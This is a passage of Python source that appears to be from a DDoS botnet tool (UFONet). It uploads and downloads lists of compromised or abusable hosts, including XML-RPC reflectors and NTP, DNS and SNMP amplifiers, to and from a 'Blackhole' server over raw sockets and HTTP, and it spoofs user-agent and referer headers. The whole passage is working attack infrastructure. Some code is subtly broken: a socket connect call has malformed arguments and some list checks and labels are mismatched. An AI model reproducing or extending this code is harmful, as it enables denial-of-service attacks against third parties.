  1847. if not self.options.forceyes:
  1848. update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")
  1849. print('-'*25)
  1850. else:
  1851. update_reply = "Y"
  1852. if update_reply == "n" or update_reply == "N":
  1853. os.remove('botnet/abductions.txt') # remove abductions file
  1854. os.remove('botnet/troops.txt') # remove troops file
  1855. os.remove('botnet/robots.txt') # remove robots file
  1856. os.remove('botnet/drones.txt') # remove drones file
  1857. os.remove('botnet/reflectors.txt') # remove reflectors file
  1858. os.remove('botnet/crystals.txt') # remove crystals file
  1859. os.remove('botnet/warps.txt') # remove warps file
  1860. os.remove('botnet/bosons.txt') # remove bosons file
  1861. print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")
  1862. return
  1863. else:
  1864. print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies
  1865. print('='*35)
  1866. zombies = self.extract_zombies()
  1867. if not zombies:
  1868. return
  1869. test = self.testing(zombies)
  1870. zombies_community = []
  1871. zombies_added = 0
  1872. f = open('botnet/abductions.txt')
  1873. abductions = f.readlines()
  1874. abductions = [abduction.strip() for abduction in abductions]
  1875. f.close()
  1876. fz = open(self.zombies_file)
  1877. zombies = fz.readlines()
  1878. zombies = [zombie.strip() for zombie in zombies]
  1879. fz.close()
  1880. for zombie in zombies:
  1881. if zombie not in abductions:
  1882. zombies_community.append(zombie)
  1883. zombies_added = zombies_added + 1
  1884. else:
  1885. pass
  1886. print("[Info] [AI] New [Zombies] found: " + str(zombies_added))
  1887. aliens = self.extract_aliens()
  1888. if not aliens:
  1889. return
  1890. aliens_community = []
  1891. aliens_added = 0
  1892. f = open('botnet/troops.txt')
  1893. troops = f.readlines()
  1894. troops = [troop.strip() for troop in troops]
  1895. f.close()
  1896. fz = open(self.aliens_file)
  1897. aliens = fz.readlines()
  1898. aliens = [alien.strip() for alien in aliens]
  1899. fz.close()
  1900. for alien in aliens:
  1901. if alien not in troops:
  1902. aliens_community.append(alien)
  1903. aliens_added = aliens_added + 1
  1904. else:
  1905. pass
  1906. print("[Info] [AI] New [Aliens] found : " + str(aliens_added))
  1907. droids = self.extract_droids()
  1908. if not droids:
  1909. return
  1910. droids_community = []
  1911. droids_added = 0
  1912. f = open('botnet/robots.txt')
  1913. robots = f.readlines()
  1914. robots = [robot.strip() for robot in robots]
  1915. f.close()
  1916. fz = open(self.droids_file)
  1917. droids = fz.readlines()
  1918. droids = [droid.strip() for droid in droids]
  1919. fz.close()
  1920. for droid in droids:
  1921. if droid not in robots:
  1922. droids_community.append(droid)
  1923. droids_added = droids_added + 1
  1924. else:
  1925. pass
  1926. print("[Info] [AI] New [Droids] found : " + str(droids_added))
  1927. ucavs = self.extract_ucavs()
  1928. if not ucavs:
  1929. return
  1930. ucavs_community = []
  1931. ucavs_added = 0
  1932. f = open('botnet/drones.txt')
  1933. drones = f.readlines()
  1934. drones = [drone.strip() for drone in drones]
  1935. f.close()
  1936. fz = open(self.ucavs_file)
  1937. ucavs = fz.readlines()
  1938. ucavs = [ucav.strip() for ucav in ucavs]
  1939. fz.close()
  1940. for ucav in ucavs:
  1941. if ucav not in drones:
  1942. ucavs_community.append(ucav)
  1943. ucavs_added = ucavs_added + 1
  1944. else:
  1945. pass
  1946. print("[Info] [AI] New [UCAVs] found : " + str(ucavs_added))
  1947. rpcs = self.extract_rpcs()
  1948. if not rpcs:
  1949. return
  1950. rpcs_community = []
  1951. rpcs_added = 0
  1952. f = open('botnet/reflectors.txt')
  1953. reflectors = f.readlines()
  1954. reflectors = [reflector.strip() for reflector in reflectors]
  1955. f.close()
  1956. fz = open(self.rpcs_file)
  1957. rpcs = fz.readlines()
  1958. rpcs = [rpc.strip() for rpc in rpcs]
  1959. fz.close()
  1960. for rpc in rpcs:
  1961. if rpc not in reflectors:
  1962. rpcs_community.append(rpc)
  1963. rpcs_added = rpcs_added + 1
  1964. else:
  1965. pass
  1966. print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added))
  1967. ntps = self.extract_ntps()
  1968. if not ntps:
  1969. return
  1970. ntps_community = []
  1971. ntps_added = 0
  1972. f = open('botnet/crystals.txt')
  1973. crystals = f.readlines()
  1974. crystals = [crystal.strip() for crystal in crystals]
  1975. f.close()
  1976. fz = open(self.ntps_file)
  1977. ntps = fz.readlines()
  1978. ntps = [ntp.strip() for ntp in ntps]
  1979. fz.close()
  1980. for ntp in ntps:
  1981. if ntp not in crystals:
  1982. ntps_community.append(ntp)
  1983. ntps_added = ntps_added + 1
  1984. else:
  1985. pass
  1986. print("[Info] [AI] New [NTPs] found : " + str(ntps_added))
  1987. dnss = self.extract_dnss()
  1988. if not dnss:
  1989. return
  1990. dnss_community = []
  1991. dnss_added = 0
  1992. f = open('botnet/warps.txt')
  1993. warps = f.readlines()
  1994. warps = [warp.strip() for warp in warps]
  1995. f.close()
  1996. fz = open(self.dnss_file)
  1997. dnss = fz.readlines()
  1998. dnss = [dns.strip() for dns in dnss]
  1999. fz.close()
  2000. for dns in dnss:
  2001. if dns not in warps:
  2002. dnss_community.append(dns)
  2003. dnss_added = dnss_added + 1
  2004. else:
  2005. pass
  2006. print("[Info] [AI] New [DNSs] found : " + str(dnss_added))
  2007. snmps = self.extract_snmps()
  2008. if not snmps:
  2009. return
  2010. snmps_community = []
  2011. snmps_added = 0
  2012. f = open('botnet/bosons.txt')
  2013. bosons = f.readlines()
  2014. bosons = [boson.strip() for boson in bosons]
  2015. f.close()
  2016. fz = open(self.snmps_file)
  2017. snmps = fz.readlines()
  2018. snmps = [snmp.strip() for snmp in snmps]
  2019. fz.close()
  2020. for snmp in snmps:
  2021. if snmp not in crystals:
  2022. snmps_community.append(snmp)
  2023. snmps_added = snmps_added + 1
  2024. else:
  2025. pass
  2026. print("[Info] [AI] New [SNMPs] found : " + str(snmps_added))
  2027. print('-'*12 + '\n')
  2028. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  2029. os.remove('botnet/abductions.txt') # remove abductions file
  2030. os.remove('botnet/troops.txt') # remove troops file
  2031. os.remove('botnet/robots.txt') # remove robots file
  2032. os.remove('botnet/drones.txt') # remove ucavs file
  2033. os.remove('botnet/reflectors.txt') # remove rpcs file
  2034. os.remove('botnet/crystals.txt') # remove crystals file
  2035. os.remove('botnet/warps.txt') # remove warps file
  2036. os.remove('botnet/bosons.txt') # remove snmps file
  2037. print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
  2038. return
  2039. else:
  2040. fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
  2041. for zombie in zombies_community:
  2042. fc.write(zombie.strip()+"\n")
  2043. fc.close()
  2044. os.remove('botnet/abductions.txt') # remove abductions file
  2045. fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
  2046. for alien in aliens_community:
  2047. fc.write(alien.strip()+"\n")
  2048. fc.close()
  2049. os.remove('botnet/troops.txt') # remove troops file
  2050. fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
  2051. for droid in droids_community:
  2052. fc.write(droid.strip()+"\n")
  2053. fc.close()
  2054. os.remove('botnet/robots.txt') # remove robots file
  2055. fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
  2056. for ucav in ucavs_community:
  2057. fc.write(ucav.strip()+"\n")
  2058. fc.close()
  2059. os.remove('botnet/drones.txt') # remove drones file
  2060. fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
  2061. for rpc in rpcs_community:
  2062. fc.write(rpc.strip()+"\n")
  2063. fc.close()
  2064. os.remove('botnet/reflectors.txt') # remove reflectors file
  2065. fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
  2066. for ntp in ntps_community:
  2067. fc.write(ntp.strip()+"\n")
  2068. fc.close()
  2069. os.remove('botnet/crystals.txt') # remove crystals file
  2070. fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
  2071. for dns in dnss_community:
  2072. fc.write(dns.strip()+"\n")
  2073. fc.close()
  2074. os.remove('botnet/warps.txt') # remove warps file
  2075. fc = gzip.open('botnet/community_snmps.txt.gz', 'wb')
  2076. for snmp in snmps_community:
  2077. fc.write(snmp.strip()+"\n")
  2078. fc.close()
  2079. os.remove('botnet/bosons.txt') # remove bosons file
  2080. print("[Info] [AI] Starting to upload new [Zombies]...\n")
  2081. try: # open a socket and send data to the blackhole reciever port
  2082. host = self.blackhole
  2083. cport = 9991
  2084. mport = 9990
  2085. try:
  2086. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
  2087. cs.connect(host, cport)
  2088. cs.send("SEND " + 'community_zombies.txt.gz')
  2089. cs.close()
  2090. f = open('botnet/community_zombies.txt.gz', "rb")
  2091. data = f.read()
  2092. f.close()
  2093. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2094. ms.connect(host, mport)
  2095. ms.send(data)
  2096. ms.close()
  2097. os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
  2098. time.sleep(1)
  2099. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2100. cs.connect(host, cport)
  2101. cs.send("SEND " + 'community_aliens.txt.gz')
  2102. cs.close()
  2103. f = open('botnet/community_aliens.txt.gz', "rb")
  2104. data = f.read()
  2105. f.close()
  2106. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2107. ms.connect(host, mport)
  2108. ms.send(data)
  2109. ms.close()
  2110. os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
  2111. time.sleep(1)
  2112. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2113. cs.connect(host, cport)
  2114. cs.send("SEND " + 'community_robots.txt.gz')
  2115. cs.close()
  2116. f = open('botnet/community_droids.txt.gz', "rb")
  2117. data = f.read()
  2118. f.close()
  2119. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2120. ms.connect(host, mport)
  2121. ms.send(data)
  2122. ms.close()
  2123. os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
  2124. time.sleep(1)
  2125. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2126. cs.connect(host, cport)
  2127. cs.send("SEND " + 'community_ucavs.txt.gz')
  2128. cs.close()
  2129. f = open('botnet/community_ucavs.txt.gz', "rb")
  2130. data = f.read()
  2131. f.close()
  2132. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2133. ms.connect(host, mport)
  2134. ms.send(data)
  2135. ms.close()
  2136. os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
  2137. time.sleep(1)
  2138. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2139. cs.connect(host, cport)
  2140. cs.send("SEND " + 'community_rpcs.txt.gz')
  2141. cs.close()
  2142. f = open('botnet/community_rpcs.txt.gz', "rb")
  2143. data = f.read()
  2144. f.close()
  2145. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2146. ms.connect(host, mport)
  2147. ms.send(data)
  2148. ms.close()
  2149. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  2150. time.sleep(1)
  2151. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2152. cs.connect(host, cport)
  2153. cs.send("SEND " + 'community_ntps.txt.gz')
  2154. cs.close()
  2155. f = open('botnet/community_ntps.txt.gz', "rb")
  2156. data = f.read()
  2157. f.close()
  2158. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2159. ms.connect(host, mport)
  2160. ms.send(data)
  2161. ms.close()
  2162. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  2163. time.sleep(1)
  2164. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2165. cs.connect(host, cport)
  2166. cs.send("SEND " + 'community_dnss.txt.gz')
  2167. cs.close()
  2168. f = open('botnet/community_dnss.txt.gz', "rb")
  2169. data = f.read()
  2170. f.close()
  2171. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2172. ms.connect(host, mport)
  2173. ms.send(data)
  2174. ms.close()
  2175. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  2176. time.sleep(1)
  2177. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  2178. cs.connect(host, cport)
  2179. cs.send("SEND " + 'community_snmps.txt.gz')
  2180. cs.close()
  2181. f = open('botnet/community_snmps.txt.gz', "rb")
  2182. data = f.read()
  2183. f.close()
  2184. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2185. ms.connect(host, mport)
  2186. ms.send(data)
  2187. ms.close()
  2188. os.remove('botnet/community_snmps.txt.gz') # remove local snmps .gz file after transfer
  2189. time.sleep(2) # sleep a bit more
  2190. print('-'*12 + '\n')
  2191. print("[Info] [AI] Transfer -> [DONE!]\n")
  2192. except Exception as e:
  2193. print(str(e) + "\n")
  2194. except:
  2195. print('-'*12 + '\n')
  2196. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  2197. return
  2198. except:
  2199. print('-'*12 + '\n')
  2200. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  2201. return
  2202. def update_gui_data(self):
  2203. # download all GUI stream data
  2204. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2205. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2206. if self.options.proxy: # set proxy
  2207. self.proxy_transport(self.options.proxy)
  2208. if self.options.timeout: # set timeout
  2209. try:
  2210. timeout = int(self.options.timeout)
  2211. except:
  2212. timeout = 5
  2213. else:
  2214. timeout = 5
  2215. if timeout < 1:
  2216. timeout = 5
  2217. if self.options.forcessl:
  2218. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2219. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2220. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2221. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2222. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2223. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2224. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2225. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2226. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2227. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2228. links = urllib.request.Request('https://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2229. links_reply = urllib.request.urlopen(links, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2230. streams = urllib.request.Request('https://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2231. streams_reply = urllib.request.urlopen(streams, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2232. globalnet = urllib.request.Request('https://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2233. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2234. else:
  2235. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  2236. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  2237. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  2238. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  2239. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  2240. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  2241. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  2242. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  2243. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  2244. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  2245. links = urllib.request.Request('http://'+self.blackhole+'/ufonet/links.txt', None, headers)
  2246. links_reply = urllib.request.urlopen(links, context=self.ctx).read().decode('utf-8')
  2247. streams = urllib.request.Request('http://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2248. streams_reply = urllib.request.urlopen(streams, context=self.ctx).read().decode('utf-8')
  2249. globalnet = urllib.request.Request('http://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2250. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx).read().decode('utf-8')
  2251. f = open(self.news_file, 'w')
  2252. f.write(news_reply)
  2253. f.close()
  2254. f = open(self.missions_file, 'w')
  2255. f.write(missions_reply)
  2256. f.close()
  2257. f = open(self.board_file, 'w')
  2258. f.write(board_reply)
  2259. f.close()
  2260. f = open(self.grid_file, 'w')
  2261. f.write(grid_reply)
  2262. f.close()
  2263. f = open(self.wargames_file, 'w')
  2264. f.write(wargames_reply)
  2265. f.close()
  2266. f = open(self.links_file, 'w')
  2267. f.write(links_reply)
  2268. f.close()
  2269. f = open(self.streams_file, 'w')
  2270. f.write(streams_reply)
  2271. f.close()
  2272. f = open(self.globalnet_file, 'w')
  2273. f.write(globalnet_reply)
  2274. f.close()
  2275. print('-'*25 + "\n")
  2276. print("[Info] [AI] GUI data correctly updated:\n")
  2277. if news_reply:
  2278. print("[Info] [AI] [News] : OK!")
  2279. if missions_reply:
  2280. print("[Info] [AI] [Missions] : OK!")
  2281. if board_reply:
  2282. print("[Info] [AI] [Board] : OK!")
  2283. if grid_reply:
  2284. print("[Info] [AI] [Grid] : OK!")
  2285. if wargames_reply:
  2286. print("[Info] [AI] [Wargames] : OK!")
  2287. if links_reply:
  2288. print("[Info] [AI] [Links] : OK!")
  2289. if streams_reply:
  2290. print("[Info] [AI] [Streams] : OK!")
  2291. if globalnet_reply:
  2292. print("[Info] [AI] [GlobalNet]: OK!")
  2293. print('-'*25)
  2294. print("\n[AI] "+self.exit_msg+"\n")
  2295. def downloading_list(self):
  2296. # add your mirror to protect/share/distribute... [Zombies]
  2297. try:
  2298. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  2299. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2300. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2301. if self.options.timeout: # set timeout
  2302. try:
  2303. timeout = int(self.options.timeout)
  2304. except:
  2305. timeout = 5
  2306. else:
  2307. timeout = 5
  2308. if timeout < 1:
  2309. timeout = 5
  2310. if self.options.proxy: # set proxy
  2311. self.proxy_transport(self.options.proxy)
  2312. if self.options.forcessl:
  2313. try:
  2314. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2315. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2316. except:
  2317. abductions_reply = ""
  2318. try:
  2319. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2320. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2321. except:
  2322. troops_reply = ""
  2323. try:
  2324. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2325. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2326. except:
  2327. robots_reply = ""
  2328. try:
  2329. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2330. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2331. except:
  2332. drones_reply = ""
  2333. try:
  2334. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2335. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2336. except:
  2337. reflectors_reply = ""
  2338. try:
  2339. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2340. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2341. except:
  2342. crystals_reply = ""
  2343. try:
  2344. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2345. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2346. except:
  2347. warps_reply = ""
  2348. try:
  2349. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2350. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2351. except:
  2352. bosons_reply = ""
  2353. else:
  2354. try:
  2355. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2356. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2357. except:
  2358. abductions_reply = ""
  2359. try:
  2360. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2361. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2362. except:
  2363. troops_reply = ""
  2364. try:
  2365. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2366. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2367. except:
  2368. robots_reply = ""
  2369. try:
  2370. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2371. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2372. except:
  2373. drones_reply = ""
  2374. try:
  2375. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2376. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2377. except:
  2378. reflectors_reply = ""
  2379. try:
  2380. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2381. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2382. except:
  2383. crystals_reply = ""
  2384. try:
  2385. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2386. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2387. except:
  2388. warps_reply = ""
  2389. try:
  2390. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2391. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2392. except:
  2393. bosons_reply = ""
  2394. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  2395. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2396. print('-'*12 + '\n')
  2397. print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from '<IP>'")
  2398. print("\nOr/And from a [Blackhole] [GitHub] with:\n\n ex: ufonet --download-github")
  2399. print('-'*12 + '\n')
  2400. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2401. return
  2402. f = open('botnet/abductions.txt.gz', 'wb')
  2403. f.write(abductions_reply)
  2404. f.close()
  2405. f = open('botnet/troops.txt.gz', 'wb')
  2406. f.write(troops_reply)
  2407. f.close()
  2408. f = open('botnet/robots.txt.gz', 'wb')
  2409. f.write(robots_reply)
  2410. f.close()
  2411. f = open('botnet/drones.txt.gz', 'wb')
  2412. f.write(drones_reply)
  2413. f.close()
  2414. f = open('botnet/reflectors.txt.gz', 'wb')
  2415. f.write(reflectors_reply)
  2416. f.close()
  2417. f = open('botnet/crystals.txt.gz', 'wb')
  2418. f.write(crystals_reply)
  2419. f.close()
  2420. f = open('botnet/warps.txt.gz', 'wb')
  2421. f.write(warps_reply)
  2422. f.close()
  2423. f = open('botnet/bosons.txt.gz', 'wb')
  2424. f.write(bosons_reply)
  2425. f.close()
  2426. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2427. except:
  2428. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2429. print('-'*12 + '\n')
  2430. print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from '<IP>'")
  2431. print("\nOr/And from a [Blackhole] [GitHub] with:\n\n ex: ufonet --download-github")
  2432. print('-'*12 + '\n')
  2433. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2434. return
  2435. print('-'*12 + '\n')
  2436. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  2437. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2438. f_out_abductions.write(f_in_abductions.read())
  2439. f_in_abductions.close()
  2440. f_out_abductions.close()
  2441. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  2442. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  2443. f_out_troops = open('botnet/troops.txt', 'wb')
  2444. f_out_troops.write(f_in_troops.read())
  2445. f_in_troops.close()
  2446. f_out_troops.close()
  2447. os.remove('botnet/troops.txt.gz') # remove troops .gz file
  2448. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  2449. f_out_robots = open('botnet/robots.txt', 'wb')
  2450. f_out_robots.write(f_in_robots.read())
  2451. f_in_robots.close()
  2452. f_out_robots.close()
  2453. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  2454. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  2455. f_out_drones = open('botnet/drones.txt', 'wb')
  2456. f_out_drones.write(f_in_drones.read())
  2457. f_in_drones.close()
  2458. f_out_drones.close()
  2459. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  2460. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  2461. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2462. f_out_reflectors.write(f_in_reflectors.read())
  2463. f_in_reflectors.close()
  2464. f_out_reflectors.close()
  2465. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  2466. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  2467. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2468. f_out_crystals.write(f_in_crystals.read())
  2469. f_in_crystals.close()
  2470. f_out_crystals.close()
  2471. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  2472. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  2473. f_out_warps = open('botnet/warps.txt', 'wb')
  2474. f_out_warps.write(f_in_warps.read())
  2475. f_in_warps.close()
  2476. f_out_warps.close()
  2477. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  2478. f_in_bosons = gzip.open('botnet/bosons.txt.gz', 'rb')
  2479. f_out_bosons = open('botnet/bosons.txt', 'wb')
  2480. f_out_bosons.write(f_in_bosons.read())
  2481. f_in_bosons.close()
  2482. f_out_bosons.close()
  2483. os.remove('botnet/bosons.txt.gz') # remove bosons .gz file
  2484. num_abductions = 0
  2485. with open('botnet/abductions.txt') as f:
  2486. for _ in f:
  2487. num_abductions = num_abductions + 1
  2488. print("[Info] Zombies: " + str(num_abductions))
  2489. num_robots = 0
  2490. with open('botnet/robots.txt') as f:
  2491. for _ in f:
  2492. num_robots = num_robots + 1
  2493. print("[Info] Droids : " + str(num_robots))
  2494. num_troops = 0
  2495. with open('botnet/troops.txt') as f:
  2496. for _ in f:
  2497. num_troops = num_troops + 1
  2498. print("[Info] Aliens : " + str(num_troops))
  2499. num_drones = 0
  2500. with open('botnet/drones.txt') as f:
  2501. for _ in f:
  2502. num_drones = num_drones + 1
  2503. print("[Info] UCAVs : " + str(num_drones))
  2504. num_reflectors = 0
  2505. with open('botnet/reflectors.txt') as f:
  2506. for _ in f:
  2507. num_reflectors = num_reflectors + 1
  2508. print("[Info] X-RPCs : " + str(num_reflectors))
  2509. num_crystals = 0
  2510. with open('botnet/crystals.txt') as f:
  2511. for _ in f:
  2512. num_crystals = num_crystals + 1
  2513. print("[Info] DNSs : " + str(num_crystals))
  2514. num_warps = 0
  2515. with open('botnet/warps.txt') as f:
  2516. for _ in f:
  2517. num_warps = num_warps + 1
  2518. print("[Info] NTPs : " + str(num_warps))
  2519. num_bosons = 0
  2520. with open('botnet/bosons.txt') as f:
  2521. for _ in f:
  2522. num_bosons = num_bosons + 1
  2523. print("[Info] SNMPs : " + str(num_bosons))
  2524. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  2525. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2526. print('-'*12)
  2527. if not self.options.forceyes:
  2528. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2529. print('-'*25)
  2530. else:
  2531. update_reply = "Y"
  2532. if update_reply == "n" or update_reply == "N":
  2533. os.remove('botnet/abductions.txt') # remove abductions file
  2534. os.remove('botnet/troops.txt') # remove troops file
  2535. os.remove('botnet/robots.txt') # remove robots file
  2536. os.remove('botnet/drones.txt') # remove drones file
  2537. os.remove('botnet/reflectors.txt') # remove reflectors file
  2538. os.remove('botnet/crystals.txt') # remove crystals file
  2539. os.remove('botnet/warps.txt') # remove warps file
  2540. os.remove('botnet/bosons.txt') # remove bosons file
